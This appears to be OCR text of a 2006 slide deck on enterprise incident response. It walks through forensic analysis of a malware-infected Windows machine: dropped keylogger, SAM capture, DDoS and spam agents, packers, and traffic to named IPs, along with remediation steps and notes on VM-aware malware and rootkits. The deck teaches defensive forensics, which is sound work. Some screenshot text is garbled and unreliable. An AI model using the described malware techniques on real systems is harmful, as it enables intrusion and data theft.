Antiir 7.2,0.25 10,06.2006 TR/Cldr.Guean.A () Support OC
Recent blog Authentium 4.93.8 10,06,2006 no virus found
@ posts Avast 4,7.892.0 10.05.2006 no virus found
AWG 386 10.05.2006 Worm/ VB ABF
] BitDefender 7.2 10.06.2006 WinI2.worm. 1M, Sohanat.a Ldls by Goodle
* Would vou Like o CAT-QuickHeal 8.00 10.05.2006 I-Worm.Gucan.a W32 Trojan
o New Licat (MSN Clamay devel-20060426 10.05.2006 Trojan.Killav-75 Remover
Worm) eTrust-InoculatelT 23.73.15 10.06.2008 no virus found Removes W32
« Rakningen Trojan eTrust-Vet 30.3.3115 10.05.2006 no virus found J\f{wa" wafga .
+ Yet another MSN Criweb 4.33 10.06.2006 modification of BackDoor.Generic. 1024 Ar:gg‘:];svarss
worm...
. l;ir;BLnST Pre-alpha » attachment | login or register to post comments | read more | 337 reads ifffpiéi‘if
elease
= Symbian 0S Malware
» Determining Physical N Etrust Vitus
Offsets from Virtual 11 Chust Vins
Addresses in PE Files searChathand‘com dns hIJa(:k‘ EZ Antivirus, EZ
+ Password Submitted by noctem on Wed, 2006-09-27 19:02,  Malware | General Technical Discussion ;\reWa}\l andTEZ \
. rmaor from elrus
* SD:::EE'?S" Eatelii 1 am looking for the malware that does a dns hijack and redericts you to searchathand.com. Does it have an official name I can search for? Software
; home.ca.com
gACovnnadegpayload 5 2 commante | 341 raade v
&] pone

& Internet




Manual File Analysis

Found a file named SSL which is the Sam File
— Defeat this by using syskey...

Drops a new Host file...

Many files packed with aspack, upx, fsg, custom packers....

— EnCase has scripts to detect this, however a quick look in a hex editor
shows most packers.

Many files extensions are renamed to hide their function.

— EnCase does file signature analysis but then again a hex editor can
show this quickly... look for MZ in the first bytes of a file for exe’s

— http://lwww.garykessler.net/library/file _sigs.html
» Good list of file signatures
Keylogger capture file (next slide)

One of the file references an install of ICQ...
— It happened after a reboot...
— Did not notice any ICQ traffic in ethereal...l got bored...



http://www.garykessler.net/library/file_sigs.html

Keylogger file...

=====================FEthereal: Save Capture File As ; Module:C:\Program Files\Ethereal\ethereal.exe
traffic Enter trtr Backspace Backspace affic txt

===================== Module:C:\Program Files\Internet Explorer\lIEXPLORE.EXE

ok, i got it nice and fucked Enter lol

Enter and i have soem traffic Backspace Backspace

Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace
Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace
Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace
Backspace Backspace Backspace too n Backspace bad my snor

t didn't see shit Enter i shoulud Backspace

Backspace Backspace d have.... Enter but i have e

thera Backspace eal logs Enter so same diffe

rence Enter ok, shutting down to do an

alysis Enter

=====================Save TCPView Info... ; Module:C:\Documents and Settings\temp\Local
Settings\Temp\Temporary Directory 1 for TcpView.zip\Tcpview.exe

tcp view tcp view Enter Enter 2 Enter



File System Conclusions

* |Frame used to drop initial wmf and exe from another site

— Jar file and other web site with escaped and encoded javascript to drop more
files. Initial files are merely Trojan downloader's.

* 94 files dropped, ~15 new processes
— Captured sam file
— keylogger
— spam agent
— ddos agent
— Port scanner
— installed spysheriff
— Had old school exploits so 98/2k didn’t get left out
— Some unexplained data transfers
— ~90% of exe and dll files are packed
— Many files have incorrect file extensions

— Lots of traffic to 209.160.64.19 and 66.246.72.85
* My machine became a proxy for their traffic

— Malware writer was lazy (doesn’t delete files after use and is not stealthy)



After the case Is solved

In the real world this box would be pulled from
the network immediately after the compromise
was confirmed.

Pull any critical data off the box
Rebuild from trusted media or image
Train the user (surfing habits)

Block offending sites at gateways

Make sure the box Is better patched
— WMF, CHM, MHTML have all been patched

Write a report about the incident



The Near (current) Future

Malware is Vmware aware
— Sasser

—  http://www.offensivecomputing.net/dcl4/vmdetect.cpp
* Vmdetect by the guys at offensive computing

http://www.honeynet.org/papers/bots/botnet-code.html
Kills itself
—  Kills the VM
Malware deletes itself after it does what it needs...
—  Quick response time is critical
— Logs will save you
0-days and spear phishing
— Spear fishing to get you to click the link
— 0-day to own the box
Covert malware that uses rootkit tech
— Is nearly invisible to forensic tools
— Is notinvisible to the network (if you know what to look for)

« DNS

— Kaminsky is smart

— Its not that hard to do...
e ICMP
e HTTPS

— How is legit traffic determined
—  Encrypted and easily fools IDS

AV sux... don't trust it
Most malware doesn’t currently work in 64bit windows


http://www.offensivecomputing.net/dc14/vmdetect.cpp
http://www.honeynet.org/papers/bots/botnet-code.html

The Distant (we hope) Future

o Completely undetectable rootkits (with disk
analysis)
— Firmware Rootkits....
e On the motherboard

e On the video card
e On the hard drive

— Shaddow Walker (Jamie Butler)
e Mitigation...

— Firmware checksums

— TPM (trusted computing)



Questions?



	Enterprise Incident Response
	Overview of the Talk
	Who I Am
	Disclaimers
	Slide Number 5
	Tools used in this talk
	Resources (IDS and Books)
	Slide Number 8
	What do we know?
	Recon on the Site
	Slide Number 11
	We now know…
	Next Step?
	Prior to being infected…
	Now…
	And some more..
	Now what?
	Where do the files hide?
	With EnCase
	Files in Cache
	Files in Prefetch
	WOW…
	Traffic after the sploit…
	Slide Number 24
	Slide Number 25
	Slide Number 26
	Slide Number 27
	Slide Number 28
	Additional Steps
	File Analysis
	Slide Number 31
	Slide Number 32
	Slide Number 33
	Manual File Analysis
	Slide Number 35
	File System Conclusions
	After the case is solved
	The Near (current) Future	
	The Distant (we hope) Future
	Questions?

